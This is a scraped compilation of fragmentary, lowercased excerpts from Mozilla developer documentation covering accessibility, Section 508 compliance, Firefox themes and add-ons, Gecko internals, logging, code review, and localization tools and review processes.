...y to review the input before submitting it. use default controls controls that are built into browsers come with a lot of accessibility for free. for example, the select element displays an ideal mobile interface on mobile operating systems like android and ios. on desktop with a keyboard, it lets people type a character, say ‘k’, to jump directly to options starting with ‘k’. it is reco
mmended to use native controls, visibly or under the hood. links vs buttons to keep your interface in line with user expectations, use links for interactions that go somewhere (on the current page or another page) and buttons for interactions that do something (like submit a form or open an overlay). links can be styled as buttons and vice versa, but designers are advised to avoid this where poss...
...level 3, and never a level 4 or 5. just like in contracts, if there is a 1.2.4 paragraph, you would expect there to be a paragraph 1.2, of which it is a subsection. many screenreaders users navigate by headings. for them it is important that no levels are skipped in the html. designers are encourage to also not skip levels in designs. see also: heading elements join the mozilla accessibility co
mmunity live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups. p...
Mozilla's Section 508 Compliance
(b) applications shall not disrupt or disable activated features of other products that are identified as accessibility features, where those features are developed and documented according to industry standards. ...
...e the application progra
mming interface for those accessibility features has been documented by the manufacturer of the operating system and is available to the product developer. complete. (c) a well-defined on-screen indication of the current focus shall be provided that moves among interactive interface elements as the input focus changes. the focus shall be progra
mmatically exposed so that assistive technology can track focus and focus changes. complete. we expose focus progra
mmatically via msaa (windows) and atk (linux/unix). incomplete, we show focus but need to expose it progra
mmatically by supporting carbon/cocoa accessibility. (d) sufficient information about a user interface element including the identity, operatio...
...vailable in text. complete. we expose this information to assistive technology via microsoft active accessibility (msaa) (windows) and accessibility toolkit (atk) (linux/unix). incomplete. no development efforts have made made to utilize cocoa or carbon accessibility apis. (e) when bitmap images are used to identify controls, status indicators, or other progra
mmatic elements, the meaning assigned to those images shall be consistent throughout an application's performance. complete. requirement windows linux/unix mac os (f) textual information shall be provided through operating system functions for displaying text. the minimum information that shall be made available is text cont...
Theme concepts
t signing and distributing your add-on. you can also use the theme generator on amo to create a static theme. additionally, firefox color can be used to preview customizations to the browser's theme with options to share and export a theme. a theme and browser extension functionality cannot be defined in one package, such as including a theme to complement an extension. you can, however, progra
mmatically include a theme in an extension using the theme api. see dynamic themes. defining a theme to create a theme (in this example a simple, single image theme): create a folder in a suitable location on your computer. add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its content as follows: { ...
...he themes example weta_mirror. full details of the alignment options can be found in the "theme" key description. static animated themes it is possible to create an animated theme using an apng format image, as in the themes example animated. however, remember that rapid animations, such as the one in the example might be too distracting for a practical theme. you can also animate themes progra
mmatically, which we discuss in dynamic themes. updating static themes if your static theme is hosted on amo, you can upload a new version using the developer hub with the following steps: visit the product page for your theme through the developer hub select "upload new version" on the left upload your packaged file for validation or modify it using the theme generator for self-hosted stat...
...ged file, the version number must be higher than the current version number dynamic themes as an alternative to defining a static theme, you can use the theme api to control the theme used in firefox from within a browser extension. there are a couple of use cases for this option: to bundle a theme with a browser extension, as an added extra. create a dynamic theme that changes under progra
mmatic control. and, obviously, you can combine the two and bundle a progra
mmatically controlled theme with your extension. using the theme api is straightforward. first, request "theme" permission in the extension's manifest.json file. next, you build a json object containing the same information you would use in a static theme’s manifest.json, finally, pass the json object in a theme.update()...
Add-ons
s allow developers to extend and modify the functionality of firefox. they are written using standard web technologies - javascript, html, and css - plus some dedicated javascript apis. among other things, an add-on could: change the appearance or content of particular websites modify the firefox user interface add new features to firefox there are several types of add-ons, but the most co
mmon type are extensions. developing extensions in the past, there were several toolsets for developing firefox extensions, but as of november 2017, extensions must be built using webextensions apis. other toolsets, such as overlay add-ons, bootstrapped add-ons, and the add-on sdk, are no longer supported. extensions written using webextensions apis for firefox are designed to be cross-browser co...
... yet powerful ways to customize their browsing experience. you’ll find: overview of the firefox extension features tools and processes for developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your published extension an enterprise guide for developing and using extensions how to develop themes for firefox firefox developer co
mmunities extensions for firefox for android in 2020, mozilla will release a new firefox for android experience. this new, high-performance browser for android has been rebuilt from the ground up using geckoview, mozilla’s mobile browser engine. we are currently building support for the webextensions api on geckoview. migrate an existing extension if you maintain a legacy extension, such as a...
...xtension if you maintain a legacy extension, such as an xul overlay, bootstrapped, or add-on sdk-based extension, you can still port it to use webextension apis. there are some porting resources on firefox extension workshop, our site for firefox-specific development resources. for more information about transition support, please visit our wiki page. publishing add-ons addons.mozilla.org, co
mmonly known as "amo," is mozilla's official site for developers to list add-ons, and for users to discover them. by uploading your add-on to amo, you can participate in our co
mmunity of users and creators and find an audience for your add-on. you are not required to list your add-on on amo, but your add-on must be signed by mozilla else users will not be able to install it. for an overview for th...
Adding a new event
e as other event classes even if aprefix is different. i.e., defining both widgetfooevent and internalfooevent is invalid. define and implement an event class then, you need to define and implement an event class. you should choose a good header file from what your event class represents. basicevents.h this header file should be used only for defining generic purpose event class such as a co
mmon super class of various event classes. probably, you shouldn't use this for your class. contentevents.h this header file should be used for defining internal event classes which are dispatched in content and do not represent user action. typically, events in this header file never cross process boundary. mouseevents.h this header file should be used for defining input events from pointing de...
...dom/fooevent.h". add the header file to exports.mozilla.dom in dom/events/moz.build. you probably need to implement a lot of methods to the event class, but this document doesn't explain all of them. please refer existing dom event implementation for example. however, there are some hints: set meventisinternal in the constructor of the most descendant class because each constructor creates du
mmy internal event instance at calling constructors of its super class. therefore, super classes always set it false. don't override methods of its super classes as far as possible since overriding the method may cause harder to maintain. when you need to check if the caller content or chrome, you can use implicitjscontext attribute in dom/bindings/bindings.conf. then, the method can have a pointe...
... need to modify here. however, this feature shouldn't be implemented for compabitility with other browsers since web applications should use event constructor. register each event into eventnamelist.h if you're in case 3, you can skip this section. eventnamelist.h defines mapping between dom event name, internal event message, event handler attribute owner and internal event class. see the co
mments of the head of the file for the detail. modify tests if you're in case 3, you can skip this section. you need to modify test_all_synthetic_events.html which tests if calling getmodifierstate() doesn't cause crash. you need to modify test_assign_event_data.html which tests if each attribute of dom event is copied by assignfooeventdata() properly. if your event cannot be fired easy, you s...
Creating JavaScript callbacks in components
basically, the component defines an observer (or listener) interface which is implemented by some external code and this implementation is passed to the component. the component can then call methods on the observer interface to signal the external code when predefined events occur. ...
...t(word); } }; var stringparser = /* get a reference to the parser somehow */ stringparser.addobserver(wordhandler); stringparser.parse("pay no attention to the man behind the curtain"); you can find examples of this pattern all over the mozilla codebase. in fact, there is even a specific interface for this form of push callbacks, nsiobserverservice. javascript functions as callbacks another co
mmon use of the pattern is found in addeventlistener / removeeventlistener. a nice feature of addeventlistener is that you can pass a javascript function in place of the callback listener interface. remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as such: void addeventlistener(in domstring type, in nsidomeventlistener l...
...ature of addeventlistener is that you can pass a javascript function in place of the callback listener interface. remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as such: void addeventlistener(in domstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely co
mmon to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); revealing the magic how is this possible? is nsidomeventlistener magical? well, it actually is a little magical. but you can use the same magic in your own idl callbacks. the nsi...
Gecko Logging
rning, ("loop took %dms!", elapsed)); } } if (i != 10) { moz_log(slogger, loglevel::error, ("i should be 10!")); } } enabling logging the log level for a module is controlled by setting an environment variable before launching the application. it can also be adjusted by setting prefs. by default all logging output is disabled. set moz_log="example_logger:3" in the windows co
mmand prompt (cmd.exe), don't use quotes: set moz_log=example_logger:3 if you want this on geckoview example, use the following adb co
mmand to launch process: adb shell am start -n org.mozilla.geckoview_example/.geckoviewactivity --es env0 "moz_log=example_logger:3" there are special module names to change logging behavior. you can specify one or more special module names without logging level. ...
...koview_example/.geckoviewactivity --es env0 "moz_log=example_logger:3" there are special module names to change logging behavior. you can specify one or more special module names without logging level. special module name append append new logs to existing log file. sync print each log synchronously, this is useful to check behavior in real time or get logs i
mmediately before crash. raw print exactly what has been specified in the format string, without the process/thread/timestamp, etc. prefix. timestamp insert timestamp at start of each log line. rotate:n this limits the produced log files' size. only most recent n megabytes of log data is saved. we rotate four log files with .0, .1, .2, .3 extensions. note: this...
...crate lists the available log levels: log level purpose rust logging levels error designates very serious errors. warn designates hazardous situations. info designates useful information. debug designates lower priority information. trace designates very low priority, often extremely verbose, information. it is co
mmon for debug and trace to be disabled at compile time in release builds, so you may need a debug build if you want logs from those levels. check the env_logger docs for more details on logging options. child processes / e10s sometimes it can be useful to only log child processes and ignore the parent process. in firefox 57 and later, you can use rust_log_child to specify log settings that will ...
Reviewer Checklist
in c++, wrapper-cache as needed. if your object can be gotten from somewhere without creating it in the process, it needs to be wrapper-cached. correctness the bug being fixed is a valid bug and should be fixed. the patch fixes the issue. the patch is not unnecessarily complicated. the patch does not add duplicates of existing code ('almost duplicates' could mean a refactor is needed). co
mmonly this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and review". if qa needs to verify the fix, you should provide steps to reproduce (str). quality if you can unit-test it, you should unit-test it. if it's js, try to design and build so that xpcshell can exercise most functionality. it's quicker. make sure the patch doesn't create any unused co...
...uched only on ui thread.] [fennec: activity lifecycle awareness (works with "never keep activities"). also test with oom-fennec (https://hg.mozilla.org/users/blassey_mozilla.com/oom-fennec/)]. compatibility version files, databases, messages tag messages with ids to disambiguate callers. idl uuids are updated when the interface is updated. android permissions should be 'grouped' into a co
mmon release to avoid breaking auto-updates. android apis added since froyo should be guarded by a version check. preffability if the feature being worked on is covered by prefs, make sure they are hooked up. if working on a new feature, consider adding prefs to control the behavior. consider adding prefs to disable the feature entirely in case bugs are found later in the release cycle. [fe...
... you choose depends on how the feature is implemented: a pure java service can't easily check gecko prefs, for example.] strings there should be no string changes in patches that will be uplifted (including string removals). rev entity names for string changes. when making ui changes, be aware of the fact that strings will be different lengths in different locales. documentation the co
mmit message should describe what the patch is changing (not be a copy of the bug su
mmary). the first line should be a short description (since only the first line is shown in the log), and additional description, if needed, should be present, properly wrapped, in later lines. adequately document any potentially confusing pieces of code. flag a bug with dev-doc-needed if any addon or web apis are ...
Index
rust code first shipped in august 2016 with the release of firefox 48. it became a requirement for building gecko in february 2017 with firefox 54. ...
...rust code first shipped in august 2016 with the release of firefox 48. it became a requirement for building gecko in february 2017 with firefox 54. ...
... ...
Process scripts
ications for that event. the solution in these cases is to use a process script instead of a frame script. you can load a process script by accessing a parent process message manager and calling its loadprocessscript() function. the following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes: // chrome code let pp
mm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getservice(ci.nsiprocessscriptloader); pp
mm.loadprocessscript("chrome://whatever/process-script.js", true); pp
mm.addmessagelistener("hello", function(msg) { ... }); the process script's global is a child process message manager, which enables the process script to receive messages from the chrome side, and to send messages to the chrome side:...
...t document or window it can be useful to not use talk through the child/parent process message managers but through the window's content frame message manager, e.g. if responses should be processed by a frame script instead of the process script. this can be achieved by traversing the docshell tree up to the top window and then retrieving its content message manager, as follows: function content
mmfromcontentwindow(window) { let tree = window.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidocshelltreeitem); let top = tree.sametyperoottreeitem; let iface = queryinterface(ci.nsidocshell).queryinterface(ci.nsiinterfacerequestor); return iface.getinterface(ci.nsicontentframemessagemanager); } this is intended for unprivileged pages running in a content process. chrome-pr...
...ee.sametyperoottreeitem; let iface = queryinterface(ci.nsidocshell).queryinterface(ci.nsiinterfacerequestor); return iface.getinterface(ci.nsicontentframemessagemanager); } this is intended for unprivileged pages running in a content process. ...
mozbrowserselectionstatechanged
the width of the selection, in css pixels. height: the height of the selection, in css pixels. top: the y coordinate of the top of the bounding box, in css pixels. bottom: the y coordinate of the bottom of the bounding box, in css pixels. left: the x coordinate of the left of the bounding box, in css pixels. right: the x coordinate of the right of the bounding box, in css pixels. ...
...e height of the selection, in css pixels. top: the y coordinate of the top of the bounding box, in css pixels. bottom: the y coordinate of the bottom of the bounding box, in css pixels. left: the x coordinate of the left of the bounding box, in css pixels. right: the x coordinate of the right of the bounding box, in css pixels. co
mmands an object that stores information about what co
mmands can be executed on the current selection. its properties are: canselectall: a boolean indicating whether the select all co
mmand can be issued (true) or not (false). cancut: a boolean indicating whether the cut co
mmand can be issued (true) or not (false). cancopy: a boolean indicating whether the copy co
mmand can be issued (true) or not (false). canpaste: a boolean indicating whether...
... zoomfactor a number representing the current zoom factor in the child frame. this is unitless and represents a percentage increase/decrease, e.g. 1.1 is a 10% zoom in, and 0.9% is a 10% zoom out. ...
Gecko's "Almost Standards" Mode
as of mozilla 1.0.1 and 1.1 beta, there is a new rendering mode referred to as "almost standards" mode. this is added to the long-standing "quirks" and "standards" modes. "almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them. a co
mmon case that this affects is the layout of images inside table cells. this means that sliced-images-in-tables layouts are less likely to fall apart in gecko-based browsers based on the rendering engine found in mozilla 1.0.1 or later when in either "quirks" or "almost standards" mode. (see the devedge article "images, tables, and mysterious gaps" for a detailed explanation of how such layouts are t...
...nsitional//en" system identifier: "http://www.w3.org/tr/html4/loose.dtd" thus any html 4.01 transitional or frameset doctype with a uri (system identifier) will trigger "almost standards" mode, as will any xhtml 1.0 transitional or frameset doctype, with or without the uri. authors outside of ibm do not need to worry about the custom doctype that will also trigger "almost standards" mode. reco
mmendations for authors who are attempting to migrate to validated markup using either html 4.01 or xhtml 1.0, and who are still using image-in-table design concepts, make sure to use a doctype that will trigger "almost standards" mode. also on mdc images, tables, and mysterious gaps mozilla's doctype sniffing mozilla's quirks mode original document information author(s): eric a. mey...
...r authors who are attempting to migrate to validated markup using either html 4.01 or xhtml 1.0, and who are still using image-in-table design concepts, make sure to use a doctype that will trigger "almost standards" mode. also on mdc images, tables, and mysterious gaps mozilla's doctype sniffing mozilla's quirks mode original document information author(s): eric a. meyer, netscape co
mmunications last updated date: published 08 nov 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
Integrated Authentication
mozilla does not have its own internal implementation of spnego. ...
...that are permitted to engage in spnego authentication with the browser. this list is intended to be configured by an it department prior to distributing mozilla to end-users. the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a co
mma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server. network.automatic-ntlm-auth.truste...
... ...
Addon
the creator of the add-on. foreigninstall read only boolean true or false depending on whether the add-on is a third party add-on installation or not. id read only string the id of the add-on. no other installed add-on will have the same id. isactive read only boolean true if the add-on is currently functional. for some add-ons this will change i
mmediately based on the appdisabled and userdisabled properties; for others it will only change after an application restart. iscompatible read only boolean true or false depending on whether the add-on is compatible with the current application version and platform version. isplatformcompatible read only boolean true or false depending on whether the add-on is compat...
...addonauthor[] an array of strings holding the translators of the add-on. updatedate read only date the date that the add-on was most recently updated. operationsrequiringrestart read only integer a bitfield holding all of the operations that will require a restart to complete for this add-on. ...
...ger reason, in string appversion, in string platformversion ) parameters listener an updatelistener for the update process reason a reason code for performing the update appversion an application version to check for updates for platformversion a platform version to check for updates for optional methods uninstall() uninstalls this add-on. if possible the uninstall will happen i
mmediately, otherwise it will wait until the next application restart. this method must be defined if an add-on has the permission perm_can_uninstall. void uninstall( ) canceluninstall() cancels uninstalling an add-on if it is pending uninstall. this method must be defined if an add-on has the pendingoperation pending_uninstall. void canceluninstall( ) hasresource() checks whether a file res...
JNI.jsm
e code module into your javascript scope: components.utils.import("resource://gre/modules/jni.jsm"); this module was available in firefox since version 17. if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java virtual machines (jvms), etc. the most co
mmon use for this module is in add-ons and other works on firefox for android (fennec). with this module, all of the android sdk functions that firefox has permissions for are at your fingertips. a note about firefox for android, this jsm file is already globally imported and is available from the privileged window scope as window.jni. there also exists a jenv variable in the window scope, so if yo...
...ctions that firefox has permissions for are at your fingertips. a note about firefox for android, this jsm file is already globally imported and is available from the privileged window scope as window.jni. there also exists a jenv variable in the window scope, so if you need to run jni from the global scope, use a different variable name then jenv. jni.jsm contains all the js-ctypes needed to co
mmunicate with the jni libraries. the js-ctypes is abstracted away while all the underlying data is all ctype data. functions are declared similar to js-ctypes but in a very different syntax. unlike c from js-ctypes, defining constants is not a manual magic number method in jni, it is declared the same way we define functions, except in jni they are called fields. method overview cdata ge...
...oappshell has the fully-qualified class name of org.mozilla.gecko.geckoappshell. the signature for this would be lorg.mozilla.gecko.geckoappshell; but we pass here without the l and ;. we can use dot notification here for the parent class. however if it was a subclass such as geckointerface (org.mozilla.gecko.geckoappshell.geckointerface), then this will cause a crash. therefore, it is always reco
mmended to use slash notation. so for geckoappshell we would pass here "org/mozilla/gecko/geckoappshell" and for geckointerface we would use "org/mozilla/gecko/geckoappshell$geckointerface". adeclares optional if this is omitted, then afullyqualifiedname must be an array type. if this is provided, then afullyqualifiedname must be a class name. a required object that contains up to five fields of ...
Log.jsm
n disk. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code. // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some co
mmon root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console. log.addappender(new log.consoleappender(new log.basicformatter())); // a dump appender logs to stdout. log.addappender(new log.dumpappender(new log.basicformatter())); // log some messages log.error("oh noes!! something bad happened!"); log.debug("deta...
...nder logs to stdout. log.addappender(new log.dumpappender(new log.basicformatter())); // log some messages log.error("oh noes!! something bad happened!"); log.debug("details about bad thing only useful during debugging", {someinfo: "nothing"}); log.warn("here is an error", new error("ouch")); logger levels fatal severe errors that cause premature termination. expect these to be i
mmediately visible on a status console. error other runtime errors or unexpected conditions. expect these to be i
mmediately visible on a status console. warn use of deprecated apis, poor use of api, 'almost' errors, other runtime situations that are undesirable or unexpected, but not necessarily "wrong". expect these to be i
mmediately visible on a status console. inf...
... config information regarding important configuration options the system is using that affect how it runs. debug detailed information on the flow through the system. expect these to be written to logs only. trace most detailed information. ...
Promise
n reason becomes permanently associated with the promise. this may be any value, including undefined, though it is generally an error object, like in exception handling. note: you should always handle, forward, or report errors (rejection reasons). if you see the message "a promise chain failed to handle a rejection", there is likely something to be fixed in the code. see handling errors and co
mmon pitfalls below. documentation conventions in documentation, the type of the fulfillment value is usually specified between angular brackets. for example, the os.file.exists function returns a promise that will eventually fulfill with a boolean: promise<boolean> exists(string path); the rejection reason may be specified separately in the function's documentation, and is considered to be an...
.... method overview promise then([optional] function onfulfill, [optional] function onreject); promise catch([optional] function onreject); constructor creates a new promise, initially in the pending state, and provides references to the resolving functions that can be used to change its state. new promise(executor); parameters executor this function is invoked i
mmediately with the resolving functions as its two arguments: executor(resolve, reject); the constructor will not return until the executor has completed. the resolving functions can be used at any time, before or after the executor has completed, to control the final state of the promise. if the executor throws an exception, its value will be passed to the reject resolving function. resolv...
...ible, inspectable properties are: {{private:status}}: 0 for pending, 1 for fulfilled, or 2 for rejected. {{private:value}}: fulfillment value or rejection reason, for fulfilled or rejected promises only. {{private:handlers}}: array of objects holding references to functions registered by the then() method, for pending promises only. examples see the examples page. handling errors and co
mmon pitfalls you should report unhandled errors, unless you're handing off the promise to a caller or another code path that will handle the error. // ###### wrong: silently drops any rejection notified by "os.file.exists". os.file.exists(path).then(exists => { if (exists) myread(path); }); // ###### wrong: silently drops any exception raised by "myread". os.file.exists(path).then(exists => { if...
Services.jsm
to use it, you first need to import the code module into your javascript scope: const {services} = chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them from the services object exported by the code module. ...
...ocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cp
mm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlin...
... els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld service focus nsifocusmanager focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2
mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service pp
mm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences...
L10n Checks
10n-completeness -i dir en-us/ my/ files (file) mode l10n checks can compare two files. you pass both paths to the files, e.g.: check-l10n-completeness -i file en-us.dtd my.dtd the output the output of l10n checks shows the missing and obsolete strings in a pseudo-diff format. ...
... (file) mode l10n checks can compare two files. you pass both paths to the files, e.g.: check-l10n-completeness -i file en-us.dtd my.dtd the output the output of l10n checks shows the missing and obsolete strings in a pseudo-diff format. ab-cd browser chrome/browser browser.dtd +backforwardmenu.tooltip +fullzoomenlargecmd.co
mmandkey3 +fullzoomreducecmd.co
mmandkey2 +fullzoomresetcmd.co
mmandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed strings when you see entities removed and added with a similar name. the file nam...
...romfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed strings when you see entities removed and added with a similar name. the file names will be shown in a hierarchical form, so in the example above, your files are browser.dtd in ab-cd/browser/chrome/browser and migration.dtd in another directory level deeper. the output closes with a su
mmary, giving the total counts of missing and obsolete strings and some statistics on how many strings are changed or not, excluding access and co
mmand keys. that gives localizers an idea on how thorough the localization is. this number won't reach 100% in general; mid 80s should be the target, though. options reference locale in the source and xpi modes you can change the default reference locale (...
Localizing extension metadata on addons.mozilla.org
in step 2, you'll be asked to provide the attributes listed above in the add-on's default locale (selected in step 1). ...
... in step 2, you'll be asked to provide the attributes listed above in the add-on's default locale (selected in step 1). ...
...k will just show up in the default locale. getting translation help you are kindly advised not to use any automatic online translation, which can bring unpleasant low-quality output to users. always prefer a qualified human translation. amo doesn't directly provide translation assistance to extension authors, but there are a couple services that can help: babelzilla.org babelzilla.org is a co
mmunity dedicated to the localization of extensions for moz family apps. they are volunteer translators from all over the world and are maintaining translations for more than 400 extensions with an online translation system. they also provide help for adding a localization support to your extension if there is no localization structure yet. you can already request for amo fields localization on the ...
Localizing with Mozilla Translator
use mozillatranslator, be sure you have java 1.7 or above installed on your system. like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from previous translations, thus cutting time and effort when localizing new versions of mozilla applications. getting started with mozillatranslator mt uses products as groups of localization files with a co
mmon root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt. this will remove obsolete strings and files from the internal database of mt, and will present you with a list of new and updated strings. if you are startin...
...ress and reopen it to continue working by selecting view fuzzy from the edit menu. after translating those strings (if using the edit phrase dialog, you can get translation suggestions for strings having an original text equal to existing translations), you can run some automated tests to detect typical errors. after that, you export either the whole product or indvididual files. finally, you co
mmit your changes outside of mt, using your favorite repository tools. recipes introduction we aim to put here some recipes that may be useful at a certain moment for mt users, but that, due to its temporary nature, don't fit in the user manual. migrating contents when the directory structure changes overall, if you are a ''good'' mt user and you do things like: checking "keep original"...
...eporter, dom, netwer, security, and toolkit. besides that, you will need to create one tiny product for other-licenses/branding/firefox. for each one of the above, the ''root'' directory will be ''.../locales/en-us''. frenchmozilla has just [http://groups.google.es/group/mozill...eaf9f1322fa2fb announced] they are providing an en-us only mercurial repository comprising both mozilla-central and co
mm-central. if you are happy with a non-official solution (it's not like if they were third-party, they are your french equals!) ;-) you have a pretty easy and comfortable solution. if you are using a filesystem with symbolic links support (i.e., linux or mac), you can create symbolic links in a separate directory so it contains just the locale part. thanks to alexandru szasz, from narro, [http://g...
Localizing with Pontoon
esources to localize, like subpages or localization files. hidden if no resources available for project. locale selector (slovenian) switches between languages to localize. go opens project-resource-locale selection. progress indicator displays your progress on the resource being localized. more details are available in the popup. user menu allows for user-specific tasks, like co
mmiting to repository, downloading files and signing out. info menu gives important information, like the anticipated project timeline and a list of keyboard shortcuts. alright, how about we do some translating now? translate strings when using pontoon for localization, you have a couple of options to translate your strings. you can translate in-context, out-of-context, or a combination ...
...ntents of the <title> tag in websites and strings with placeables or different plural forms. by clicking on the hamburger icon in the main toolbar, a list of all strings and available translations will open in the sidebar. you can also use the sidebar for out-of-context localization: click on the string you'd like to translate. translation panel with original string and its details (e.g. co
mments) opens. translate the string in the translation area below. click the save button to save your translation. as you translate strings out-of-context, translations will also appear in website, if they could also be translated in-context. translation helpers as you can see, suggestions from history, translation memory, machine translation and other locales are also available in the out-of...
...urce translation memory, microsoft terminology and machine translation. other locales displays matching translations from other locales. search almost like machinery, but takes provided keyword as input parameter instead of the original string. by clicking a suggestion, it gets copied into translation area. publishing your localization suppose you now want to publish your l10n work by co
mmitting it to a repo. pontoon lets you do that too! actually, it does that for you by automatically syncing with repositories on hourly basis. you can now pat yourself on the back, do a little dance, go to sleep or do something else to celebrate your work! ...
Translation phase
the projects. the l10n tools are meant to help you maintain your localized content from release to release and leverage already localized materials when localizing new content. here we'll identify those groups of projects and the l10n tools associated with them. along the way we'll point you to basic, technical tutorials on localizing for that particular project group. it's up to you and your co
mmunity to determine which l10n tool will best suit your needs. as you gain more experience, you may want to localize independent of mozilla-developed l10n tools, which we'll also discuss here. projects the mozilla projects and their l10n workflows are divided into these groups: mozilla applications, mozilla websites, and add-ons. below you'll find the list of all mozilla projects, their associate...
...lizing mozilla web projects. add-ons l10n for add-ons is handled by at least two other organizations/services called babelzilla and adofex. they both have created comprehensive programs and l10n tools for localizing any and all third-party add-ons for mozilla applications. visit their websites to learn how to get involved. babelzilla adofex tool-independent localization are you a co
mmand-line master? do you prefer unicode text editors to any other applications on earth? do you have a pet cat (computer-assisted translation) tool, like omegat? then you may not be interested in using any of the tools listed above for your localizations. if that is the case, then this section is for you! for localizers who prefer localizing without a specialized tool the workflows for localizing ...
...ng mozilla applications and mozilla websites are essentially the same. this tutorial should provide you with all of the technical information you need to secure and maintain your tool independence. productization productization is an essential part of localizing mozilla products. this is where you research and select the search plugins, content and protocol handlers, bookmarks, and links to reco
mmended sites on the in-product pages that your locale's users will find in their mozilla products. this tutorial will walk you through performing these productization tasks, creating productization patches, and submitting them for review. « previousnext » ...
Localization sign-off reviews
only evaluates new l10n work. this is done by generating a diff between the new release revision being considered and the previously approved release revision. focuses on technical accuracy and completion of l10n work, not translation quality. evaluates new release revisions, not entire l10n repos. does not need to be approved before revision merge between release channels, although it is reco
mmended. sign-off review criteria since the scope of each qa review process varies, the criteria used to evaluate a localizer's work also varies. in principle, they share basic elements, but sign-off reviews are only for evaluating the changes between your latest approved revision and the new revision you've submitted for release approval. hence, unless a localizer makes a change within the new rev...
...hange within the new revision that nullifies the approved work in the previous revision, the sign-off criteria will be significantly less comprehensive than a technical review. here is some of the criteria we use to perform sign-off reviews: increased amount of untranslated strings we look for previously translated strings changing to untranslated strings in the new revision. this is a co
mmon problem with some tools. encoding some tools add bom to utf-8 encoded files, and some change the encoding altogether. mistakenly localized code we look for changes in localized code that should not have been localized or wasn't localized in the previous revision. search plugin changes this greatly impacts productization. we look for these changes and file bugs when they'...
... change the encoding altogether. mistakenly localized code we look for changes in localized code that should not have been localized or wasn't localized in the previous revision. search plugin changes this greatly impacts productization. we look for these changes and file bugs when they're found in a new revision. further indications of tool-originated corruption this is co
mmon. most bugs filed from sign-offs are caused by a tool corrupting your localization's files. newly translated strings that shouldn't have been translated self-explanatory enough, right? access key changes we ensure that when access keys are changed that they are consistent with the keyboard layout for that particular locale and not blended between two or more distinct layouts. ...
Localization technical reviews
ve and covers the entire product. focusses on technical accuracy and completion of l10n work, not translation quality. is only performed on the first revision a new locale wants to have released to the public. must be approved prior to migrating your revision from aurora to beta. technical review evaluation criteria in principal, a technical review's criteria looks for localization issues co
mmon to localizing software but within the mozilla context. since it is performed on the first revision a l10n team proposes for release, this first revision requires a very detailed and comprehensive form of review. that being the case, there are some criteria in a technical review that will only ever be considered once, as all reviews after this only evaluate the changes you're adding on top of th...
...contains the names of all contributors that a localization team would like to credit the work to. localizers can specify the team responsible for the work by listing the name just after the moz_langpack_creator. the team can also wrap contributors with <em:contributor> tags just after the moz_langpack_contributors section. make sure that the the text content is wrapped with emptylines. leading co
mments are ok, but watch out for #filter emptylines #define ... # co
mment #define ... #unfilter emptylines in toolkit/defines.inc, the native name of the language is specified, which is used as description for the built language packs. region.properties though locales might like to specify changes from the beginning, the region.properties files will be reverted to en-us. changes will be di...
...ugs are completed. for this initial review, all xml files should be removed. string lengths in pipnss.properties there are some character limits in the security/manager/chrome/pipnss/pipnss.properties file that you should be aware of. it is best to look into each of these files to see if the localizer's strings might be too long. this is something to look for, but can be difficult to diagnose i
mmediately. for more info, see bug 435874. check for bad migration of access keys in the past, it was co
mmon to find broken access keys for safari and camino in browser/chrome/browser/migration/migration.dtd. for this review, we look at this file to make sure that the access keys look normal. if they don't, we report any strange access keys or translations that localizers might have changed durin...
What every Mozilla translator should know
